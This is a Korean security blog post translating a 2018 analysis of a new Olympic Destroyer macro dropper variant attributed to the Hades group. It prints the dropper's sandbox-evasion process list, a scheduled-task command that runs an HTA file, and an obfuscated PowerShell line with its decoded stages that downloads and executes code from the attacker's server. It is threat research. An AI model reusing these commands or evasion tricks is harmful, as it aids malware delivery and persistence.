상세 컨텐츠

본문 제목

올림픽 디스트로이어(Olympic Destroyer)의 새 변종 발견

국내외 보안동향

by 알약(Alyac) 2018. 11. 16. 18:32

본문

New Strain of Olympic Destroyer Droppers


지난 몇 주 동안, 우리는 악명 높은 올림픽 디스트로이어(Olympic Destroyer) 공격의 배후에 있는 APT 그룹인 Hades의 새로운 활동을 발견했습니다. 게다가 새로운 공격은 이전 공격들과 많은 부분을 공유하지만, 해당 그룹이 진화했다는 것을 알 수 있는 중요한 변화를 목격할 수 있었습니다.


우리는 발견한 샘플을 통해 이 그룹이 다양한 분야를 연구했으며 연구원들이 공격을 탐지하기 어렵도록 만들기 위해 노력하고 있다는 것을 알 수 있었습니다.



시작


2018년 한국에서 개최된 동계 올림픽을 노린 사이버 공격은 짧은 시간 동안 이 행사의 IT 인프라를 방해했습니다. 하지만 이는 많은 언론의 헤드라인을 장식했으며, 보안 커뮤니티는 무슨 일이 일어났으며 이 공격의 배후에 누가 있는지 캐내기 위해 노력했습니다.


연구를 통해, 보안 커뮤니티는 측면 이동 기능을 갖춘 와이퍼(wiper) 악성코드를 발견했으며, 후에 이를 올림픽 디스트로이어라 명명했습니다.


또한 이 공격의 배후에 있는 그룹은 “속임수의 달인”인 것으로 보입니다. 악성 코드에 많은 거짓 플래그를 포함해 속성을 잘못 판단하도록 만들었습니다. 


몇 달 후, 카스퍼스키는 이 공격의 초기 공격 벡터를 식별해낼 수 있었습니다. 첫 단계에서 다가오는 올림픽 행사와 관련 된 회사의 네트워크에 침투하기 위해 악성 문서를 첨부한 스피어피싱 이메일을 사용했습니다.


이 악성 문서를 공격에 연결 시킴으로써, 유사한 문서를 쫓아 해커 그룹의 활동을 추적할 수 있었습니다. 이 그룹은 한국을 넘어 전 세계의 조직들 다수에도 관심을 보였습니다.


Hades는 정찰 및 착취에 공개적으로 사용이 가능한 툴을 활용하는 것으로 알려져 있습니다.


매크로의 진화


Hades의 매크로가 시간이 지남에 따라 어떻게 진화했는지 보여주기 위해, 우리는 매크로 호출 그래프 생성기인 Vba2Graph를 사용했습니다.


아래 그림에서 어떤 기능이 추가 되었는지, 매크로의 복잡성이 시간이 지남에 따라 어떻게 증가했는지 등을 확인할 수 있습니다.


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



구 버전들의 감염 흐름


최근 발견 된 드롭퍼를 제외하고, 위의 모든 샘플들은 실행 첫 번째 단계에서 유사한 기능을 보여주었습니다:


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



새로운 드롭퍼 변종


가장 최근 발견 된 샘플은 Hades의 매크로가 늘 취하던 정상적인 경로에서 벗어나 완전히 새로운 변종을 보여주었습니다.


이 샘플은 2018년 10월 12일 우크라이나에서 VT에 처음 업로드 되었습니다. 이는 Hades의 이전 드롭퍼들과 유사한 인코딩 및 코딩 스타일을 보여주었습니다. 하지만 이는 안티 분석 기능, 지연 실행과 같은 새로운 기능들을 도입했습니다.


이 새로운 기능은 꽤 효과가 좋았던 것으로 보입니다. 인기있는 온라인 샌드박스들이 실행 된 프로세스나 네트워크 확동을 탐지하지 못했으며, 일부는 이 드롭퍼가 완전히 무해한 것으로 표시했습니다.



새로운 감염 흐름


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



1.  DOC 미끼

첫 단계에서, 사용자는 빈 페이지를 보게 됩니다.

매크로가 활성화 되면, 흰 텍스트를 검은색으로 변경해 내용이 표시 됩니다.



<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



2. WMI – 안티 분석

WMI를 사용해 매크로는 실행 되는 프로세스들을 반복합니다.


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>


리턴 된 프로세스 명은 인기있는 분석 툴들과 비교 되며, 이 매크로는 실행 중인 프로세스가 최소 40개 이상인지 확인합니다. 프로세스의 개수를 세면, 보통 적은 수의 프로세스를 실행하는 샌드박스 및 분석 환경을 알아내기에 효과적입니다.


분석 툴의 목록은 아래와 같습니다:


HaCKER,MalzILlA,pRocExP,WiREShARK,HxD,PowERsheLl_iSE,idA,Olly,fiDDLEr,mALwAre,VmtoOLsd,SWingBoX,vboXTrAY,secunia,hijack,

VmtoOlsd’,Vbox,vMWaRE,VXsTReaM,AUtOIt,vmToOls,TcpVIeW,WiREShARK,prOCEss expLorer,VIsuAl bASiC,fiDDLEr


3. 디스크에 HTA 드롭

이 드롭퍼는 HTA 파일을 “%APPDATA%\WPFT532.hta”에 드랍합니다.


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



4-5 예약 된 작업

예약 된 작업은 아침 시간에 HTA가 실행 되도록 하기 위해 생성 되었습니다.

schtasks /Create /F /SC DAILY /ST “10:20” /TN “DriveCloudTaskCoreCheck” /TR “mshta C:\\Users\\[user]\\AppData\\Roaming\\WPFT532.hta

파라미터들:

/F – 강제로 작업을 생성하고, 작업이 이미 존재할 경우 경고를 숨깁니다.

/SC – 일일 작업을 예약합니다.

/ST – 시작 시간

/TN – 작업 명


6. HTA 실행

HTA 파일은 VBScript를 활용해 다음 단계의 명령어 라인을 디코딩합니다. 이는 매크로 단계의 디코더와 동일한 기술입니다.


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



7-9. Powershell 다운로드 및 실행

HTA 코드는 난독화 된 Powershell로 아래 명령어 라인을 실행합니다.


c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c “Set AYW= -jOIn[CHAr[]] (40 ,39 , 40 , 78,39, 43,39 , 101, 119, 45, 79,39, 43 ,39 , 98,106 , 101 ,99 ,116 , 32 , 78,101 , 116 , 46 ,87, 39 , 43, 39 ,101 , 98 , 99 , 108, 105 ,101 ,110, 116 , 41,39 , 43 ,39,46,39,43 ,39 ,100 , 111,119 , 110 ,108 , 111 ,39,43 ,39, 97 , 100,115 ,116, 114,105 , 110 , 103,40 ,72 ,108, 39,43,39, 106,104,116 , 39 , 43 , 39 , 116 ,112, 58 , 39, 43,39 , 47, 47, 102 ,105, 110 , 100 , 117, 112 , 100, 97 ,39 , 43,39 , 116 ,101,39 ,43,39 , 109, 115 ,46,99 ,111, 109 , 47,99 , 104,39, 43,39, 101, 39 , 43 , 39,99 ,107 ,47,105 ,110,39 ,43 , 39 , 100 , 101 ,120,72,108, 106, 41,39 ,43 ,39, 52, 106 , 39,43,39 , 122,73 , 69,88, 39, 41 ,46 ,82 ,101, 112, 76 , 97,67,101, 40 ,40 ,91 , 99, 104,65 ,114 ,93,55, 50,43 ,91, 99, 104,65 , 114, 93,49,48,56, 43,91 ,99, 104,65 ,114,93,49, 48 ,54 , 41, 44,91,83,116 , 114, 73 ,110,103, 93 ,91 ,99 ,104,65, 114 ,93,51, 57 , 41, 46 ,82,101,112,76, 97, 67 ,101, 40 , 40,91,99, 104, 65, 114, 93, 53 ,50, 43 ,91 , 99 ,104, 65, 114 , 93,49,48,54, 43, 91 ,99, 104, 65,114,93 , 49 , 50 ,50,41,44, 39, 124 , 39 ,41 , 124 , 32, 46 ,32 , 40 , 32 ,36, 69, 110 ,86 , 58,67 , 79, 109 , 83, 80, 101 , 99 ,91,52 , 44 ,50, 52 ,44 ,50,53, 93 , 45 , 106,79 ,73 ,110 ,39 , 39, 41)^| . ( $pshOme[21]+$PSHoMe[30]+’x’) &&Set gnPq=ECHO inVOKe-ExPRessiON (get-ItEM eNV:AYw).valUe ^| pOWERsHElL -noPRoFI -EXEcuTiONpOlI BYPASS -noNi -NoeXi -WindoWStYlE HIdDen -&& c:\\WiNDOws\\sYsTEM32\\Cmd.eXE /c %gNpq%”


Powershell deobfuscation stage 1:

(‘(N’+’ew-O’+’bject Net.W’+’ebclient)’+’.’+’downlo’+’adstring(Hl’+’jht’+’tp:’+’//findupda’+’te’+’ms.com/ch’+’e’+’ck/in’+’dexHlj)’+’4j’+’zIEX’).RepLaCe(([chAr]72+[chAr]108+[chAr]106),[StrIng][chAr]39).RepLaCe(([chAr]52+[chAr]106+[chAr]122),’|’)


Powershell deobfuscation stage 2:

(New-Object Net.Webclient).downloadstring(‘<http://findupdatems>[.]com/check/index’)|IEX


다운로드 된 문자열은 실행할 추가적인 Powershell로 추측 됩니다. 현재 시점에서는 2단계 페이로드를 다운로드 할 수 없었습니다.


공통 된 지표


Hades의 doc 파일과 매크로 난독화기는 다른 드롭퍼들 사이에서 구별할 수 있는 고유한 특징을 가지고 있었습니다.


이 특징은 매크로의 새로운, 오래된 변종 양쪽에도 존재합니다.


메타 데이터


그닥 독특한 편은 아니지만, 대부분의 드롭퍼는 아래 세 가지 문서 제작자 이름들 중 하나를 포함하고 있습니다.


James, john, AV


더미 코드


항상 “True”가 되는 “IF” 문:


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



0을 리턴하기 위한 함수:


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



인코더 기능


문자열 및 2단계 코드는 매크로에 인코딩 되어 나타납니다:


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>


문자열의 난독화를 해제하기 위해, 디코딩 함수가 사용 되었습니다.

디코딩 기능이 하는 일은 각 인코딩 된 문자의 값을 상수 값만큼 줄이는 것입니다.


문서의 미끼 기능


대부분의 드롭퍼는 사용자가 매크로를 활성화 한 후 문서의 외형을 변경하기 위해 2가지 방법을 사용했습니다.


1. 아래의 loop를 사용해 미끼 이미지 커버 제거


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



2. 폰트 색상을 흰색에서 검은색으로 변경해 내용 공개


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



초기 트리거


Hades는 에뮬레이터의 정적 탐지/분석을 피하기 위해 트리거링 시 흔한 코드 드리거인 AutoOpen 등의 사용을 피하고 Word ActiveX 오브젝트와 함께 덜 알려진 트리거를 사용합니다.


이 트리거들에 대한 더 많은 정보는 여기에서 찾아볼 수 있습니다.


트리거들 중 일부는 많은 캠페인에서 사용 되었습니다:


– MultiPage1_Layout

– Frame1_Layout

– SystemMonitor1_GotFocus

– Image1_MouseMove

– ImageCombo21_Change


네트워크 인프라 노트


Hades 드롭퍼의 일반적인 관행은 해킹한 서버를 2단계 C2로 사용한다는 것입니다.

Hades의 인프라에 대해 많이 알려지지는 않았으나, C2에 연결한 드롭퍼들 중 일부는 서버 에러를 노출시켰습니다.

이러한 에러는 해킹 된 서버가 프록시의 역할만을 하며, 요청들은 실제로 Empire 백엔드에서 호스팅 된 또 다른 서버로 리디렉트 되었다는 것을 나타냅니다.



요청의 흐름


<이미지 출처 : https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>



이 “프록시” 기능은 Empire 내의 “홉 리스너(Hop Listener)”형식으로 포함 됩니다:

https://github.com/EmpireProject/Empire/blob/master/data/misc/hop.php


우연히도, 위의 에러 메시지에서 관찰 된 것과 같은 hop.php 내 라인 25의 file_get_contents 함수가 있었습니다.



결론


Hades는 그들의 작전을 늦출 조짐을 보이지 않고 있습니다. 그들은 능력을 키우고 있으며, 희생자는 점점 늘어나고 있습니다.


공격자의 최근 활동을 통해, 이전에는 볼 수 없었던 새로운 그들의 드롭퍼 변종을 발견할 수 있었습니다. 이는 첫 번째 단계의 TTP와는 차이점을 보였습니다.


Hades가 새로운 드롭퍼를 도입할 때 마다, 아주 적은 안티 바이러스 제조사들만이 이를 악성으로 탐지해낼 수 있었습니다. 이는 대부분의 Hades 작전이 레이더망 아래에서 이루어진다는 가능성을 보여줍니다.




출처 :

https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/



관련글 더보기

댓글 영역